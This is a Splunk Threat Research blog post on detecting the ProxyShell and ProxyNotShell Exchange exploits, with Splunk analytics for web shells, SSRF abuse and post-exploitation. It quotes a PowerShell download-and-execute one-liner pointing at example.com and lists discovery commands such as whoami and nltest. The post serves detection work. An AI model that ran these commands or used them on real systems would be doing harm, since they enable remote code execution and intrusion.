All the Proxy(Not)Shells

On September 28th it was disclosed by GTSC that there was a possible new zero day being abused in the wild beginning in early August. Although this campaign looked very similar to the previously abused vulnerability in Microsoft Exchange, dubbed ProxyShell at the time, comprising 3 CVEs (CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207) that when combined enabled an adversary to gain remote access to an Exchange PowerShell session that may be abused. This particular new zero day is bypassing the prior patches that were applied for ProxyShell, which led GTSC to dig in further. Over the course of the night and the following day, Twitter was abuzz. Kevin Beaumont created a logo and gave this the name ProxyNotShell. ProxyNotShell was assigned two new CVEs. The first one, identified as CVE-2022-41040, is a Server-Side Request Forgery (SSRF) vulnerability, and the second one, identified as CVE-2022-41082, allows Remote Code Execution (RCE) when PowerShell is accessible to the attacker.  

Microsoft Exchange on premises may not be as prevalent today but it is obviously still a target for those that do manage it. This blog showcases what ProxyShell and ProxyNotShell look like in event logs, how to utilize exploits against ProxyShell and ProxyNotShell to generate content and continue the hunt for exploitation.

In our demo video, we walk through exploitation of ProxyShell and ProxyNotShell using MetaSploit and hunt through data in Splunk to showcase different avenues for defenders to identify malicious activity.

Patching and Proof of Concept/Exploits

ProxyShell has been patched since last year and it wasn’t until the November 8th patch cycle that ProxyNotShell, or CVE-2022-41040 and CVE-2022-41082, received its patch. Microsoft originally shared guidance on mitigations and detection here and it has been updated since. How important is it to patch? Greynoise, who collects, analyzes and labels data on IPs that scan the internet, reports that scanning for both ProxyShell (1,2) and ProxyNotShell (1) is still actively occurring. The use of ProxyShell will most likely be more prevalent as it does not require authentication, however credentials are a commodity at this point and the ease of using ProxyNotShell provides that easy initial access. The ultimate guidance here is to patch and ensure logging is in place to identify exploitation or suspicious activity.

POCs and Exploits

Now that the ProxyNotShell patches have been released, release of the exploit codes began to flow. Based on some simple GitHub searching, two scripts were released and a new MetaSploit module also received an implementation to exploit ProxyNotShell. Let’s check them out.

Testanull released https://github.com/testanull/ProxyNotShell-PoC on November 16th and it wasn’t too long after that Will Dorman shared on Twitter his testing and usage:

On November 17th, ZeroSteiner shared a pull request to MetaSploit that provides access to the exploit in a common method and also provides a bypass to the Exchange Emergency Mitigation (EM) service - or the IIS URL rewrite recommended by Microsoft. In addition, there is an update to the ProxyShell exploit in the PR. 

What does this look like in MetaSploit?

ProxyShell - MetaSploit

When successfully run against a vulnerable Exchange server, the output in MetaSploit may look like this:

ProxyNotShell - MetaSploit

The main difference between ProxyShell and ProxyNotShell is authentication. This new module requires a username/password to be supplied. 

A successful attempt in MetaSploit may look like this:

In our testing with a privileged account (administrator) and a non-privileged account, both worked fine. To see a live demo, check out the demo video at the beginning for further context and details in the use of each exploit. 

In the Logs

We will shift gears and walk through our analytic set that will help defenders identify ProxyShell and/or ProxyNotShell from beginning to end. Because these two are very similar, just variants, we will call out differences as we go.

The following query, Detect Exchange Web Shell, utilizes the Endpoint datamodel filesystem node to identify aspx, ashx and asp filewrites to 3 paths ("*\\HttpProxy\\owa\\auth\\*", "*\\inetpub\\wwwroot\\aspnet_client\\*", "*\\HttpProxy\\OAB\\*"). In particular,

^{Splunk, 2023, (Detect Exchange Web Shell)}

This will generate noise of normal files from Exchange. Either filter out or remove all Null file_create_time items as these are native files to Exchange. Based on our testing, this is related to ProxyShell as ProxyNotShell does not need to write a asp* to disk.

In addition to understanding the volume of noise that may be produced, it may be worth backing out the file_names included in the query and look for all file types being written to these 3 paths. This is voluminous, but again, look for any new randomly named files within the last few days.

The following screenshot showcases the webshell written along with standard files being accessed within these directories.

^{Splunk, 2023, (Detect Exchange Web Shell all file types)}

Hunting for additional avenues, we know the pattern of ProxyShell and we know that ProxyNotShell is an authenticated version, we can utilize ProxyShell and ProxyNotShell exploit code from MetaSploit to simulate behavior and build out a query that utilizes eval statements to place a value on certain aspects of this attack to identify patterns.

This query, Windows Exchange Autodiscover SSRF Abuse, utilizes the Web datamodel to look for 3 key items: autodiscover, powershell and MAPI. Defenders can easily add new eval statements and place that name on the addtotals line to complete it. Modify the Score value as needed. This pattern and analytic matches both ProxyShell and ProxyNotShell. In MetaSploit, the code will generate random user@domain.

^{Splunk, 2023, (Windows Exchange Autodiscover SSRF Abuse)}

To see the score values, back out the fields line and it will look like the following on the right hand side:

_{Splunk, 2023, (Windows Exchange Autodiscover SSRF Abuse risk scores)}

Another interesting log source in detecting either ProxyShell or ProxyNotShell is the Exchange Management logs. We had to manually ingest these logs as it appears to not be collected by the IIS or Exchange TA natively. These are inputs we used:

[WinEventLog://MSExchange Management]
index=win
sourcetype=MSExchange:management
disabled = 0

We used multiline as the XML is verbose in that it doesn’t provide any better out of the box eventing. Check out the analytic here - Windows MSExchange Management Mailbox Cmdlet Usage

^{Splunk, 2023, (Windows MSExchange Management Mailbox Cmdlet Usage)}

The Exchange Management logs are rich with telemetry related to the PowerShell cmdlets run against Exchange. EventID=1 provides us with the successful query that occurred. We tailored the analytic similar to our other PowerShell 4104 content. 

Post-exploitation 

The focus of the blog is on either ProxyShell or ProxyNotShell, however it would not be complete if we didn’t cover some post-exploitation. Depending on the adversary some of the behaviors will vary, but for the most part the identification of common post-exploitation commands will stand out. In addition, a neat tactic for defenders would be to implement a Canary Token to look for commonly run network discovery commands that adversaries use - check out the Sensitive Command Token here.

A little bit more volume, but worth the effort to tune is CMD Carry Out String Command Parameter security content. This query looks for the use of cmd.exe /c; think of it as a way to spawn a process in the "background" or new session and terminate when complete. In particular, not related to either ProxyShell or ProxyNotShell, this will begin to identify any post-exploitation.

_{Splunk, 2023, (CMD Carry Out String Command Parameter)}

Note that the above screenshot of cmd.exe /c also came from another analytic, W3WP Spawning Shell, which simply looks for cmd.exe or PowerShell spawning from W3WP.exe. This is probably the highest fidelity indicator for both ProxyShell and ProxyNotShell.

^{Splunk, 2023, (W3WP Spawning Shell)}

Knowing that PowerShell was used here we could work to ingest PowerShell Script Block Logging data into Splunk. The Splunk Threat Research Team (STRT) outlined how to capture PowerShell script block logs previously here. Once captured, run the PowerShell 4104 Hunting analytic to identify any further suspicious PowerShell activity. An output may look like this:

^{Splunk, 2023, (PowerShell 4104 Hunting)}

It was also reported by GTSC that post exploitation began with certutil.exe, or MITRE ATT&CK T1105, to download remote payloads.

GTSC:

The following security content may help identify initial post-exploitation:

CertUtil Download With URLCache and Split Arguments

_{Splunk, 2023, (CertUtil Download With URLCache and Split Arguments)}

One can see this behavior is generated using Atomic Red Team T1105.

Above we saw some commands running off W3WP.exe, in addition to looking at the spawn from W3WP.exe, we can also see other commands running related to discovery:

^{Splunk, 2023, (W3WP Spawning Shell)}

Commands including:

Whoami
Nltest /trusted_domains
Powershell.exe -nop -c “iex ((new-object net.webclient).downloadstring (‘http://example.com/host’)”

Analytics that may need tuning but will identify this behavior are:

• System User Discovery With Whoami
• NLTest Domain Trust Discovery
• Any Powershell DownloadString

Detection

The Splunk Threat Research Team has curated new and old analytics and tagged them to both ProxyShell and ProxyNotShell analytic stories to help security analysts detect adversaries leveraging either ProxyShell or ProxyNotShell. These analytic stories introduce 11 detections across MITRE ATT&CK techniques.

For this release, we used and considered the relevant data endpoint telemetry sources such as:

• Process Execution & Command Line Logging.
• Windows Security Event Id 4688, Sysmon, or any Common Information Model compliant EDR technology.
• Windows Security Event Log.
• Windows System Event Log.
• PowerShell Script Block Logging (EventCode 4104).
• Microsoft Exchange Management Logs.

Why Should You Care?

This research and security content from the Splunk Threat Research Team (STRT) enables security analysts, blue teamers and Splunk customers to identify ProxyShell and ProxyNotShell. By understanding adversary behaviors, we were able to generate telemetry and datasets to develop and test Splunk detection analytics designed to defend and respond against these threats.

Learn More

You can find the latest content about security analytic stories on GitHub and in Splunkbase. Splunk Security Essentials also has all of these detections available now. 

For a full list of security content, check out the release notes on Splunk Docs.

Feedback

Any feedback or requests? Feel free to put in an issue on GitHub and we’ll follow up. Alternatively, join us on the Slack channel #security-research. Follow these instructions if you need an invitation to our Splunk user groups on Slack.

Contributors

We would like to thank the author Michael Haag and collaborators Lou Stella, Mauricio Velazco, Rod Soto, Jose Hernandez, Patrick Bareiss, Bhavin Patel, Teoderick Contreras, and Eric McGinnis for their contributions to this post.

Additional references:

• https://unit42.paloaltonetworks.com/proxynotshell-cve-2022-41040-cve-2022-41082/
• https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
• https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html

Prior blogs on ProxyShell by Splunk

• Automated Clean-up of HAFNIUM Shells and Processes with Splunk Phantom
• Detecting Microsoft Exchange Vulnerabilities - 0 + 8 Days Later…
• Detecting HAFNIUM Exchange Server Zero-Day Activity in Splunk